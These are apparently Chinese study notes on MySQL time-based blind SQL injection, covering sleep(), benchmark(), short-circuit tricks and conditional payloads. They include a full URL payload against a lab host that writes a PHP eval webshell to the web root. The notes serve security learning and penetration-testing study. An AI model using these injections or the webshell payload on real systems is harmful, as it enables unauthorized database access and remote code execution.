笔记34
Abstract: SQL 盲注之时间盲注
Table of Contents
SQL 盲注
sleep(second) 函数
1  | # 系统睡眠3秒,查询结果为0  | 
时间可以精确控制。
benchmark(number, function)函数
1  | # 重复执行某个函数N次  | 
时间不可控,电脑性能越高,时间越短。
| select * from table where id = 1 | and if(布尔表达式, 0, 1); | 
|---|---|
| 原始语句 | 测试语句+注入语句 | 
参考文章
and 0 的短路特性
1  | select * from users where id=1 and 1 and sleep(1);  | 
1  | select 1 and sleep(3);  | 
or 1 的短路特性
1  | select * from users where id=1 or 1 or sleep(1);  | 
1  | select 1 or sleep(3);  | 
条件语句
if(布尔语句, 0, 1)
条件成立取 0 ,条件不成立取 1 。
1  | # 睡眠3秒  | 
case [1] when [2] then [3] else [4] end
当 [1] 的值与 [2] 的值相等时,取 [3],否则取 [4]
1  | select case 1=1 when 1 then 123 else 456 end;  | 
or 的影响
1  | select * from users where id='1' or sleep(3); #';  | 
注意:sleep是存在一个满足条件的行就会延迟指定的时间,比如 sleep(5),但实际上查找到两个满足条件的行,那么就会延迟 10s ,在真实的渗透测试过程中,我们有时候不清楚整个表的情况,可以用 sleep(0.001)看最后多少秒有结果,推断表的行数。
参考文章
用 SQL 注入写webshell
1  | http://192.168.100.197/Less-1/?id=1' union select 1,2, '<?php @eval($_POST['pass'])?>' into outfile '/var/www/html/case.txt' --+  | 
注意权限问题,此时创建文件的用户是 mysql
防止 SQL 注入常用函数
addslashes()和 mysql_real_escape_string()
详细内容请访问:
寻找 SQL 注入点思路
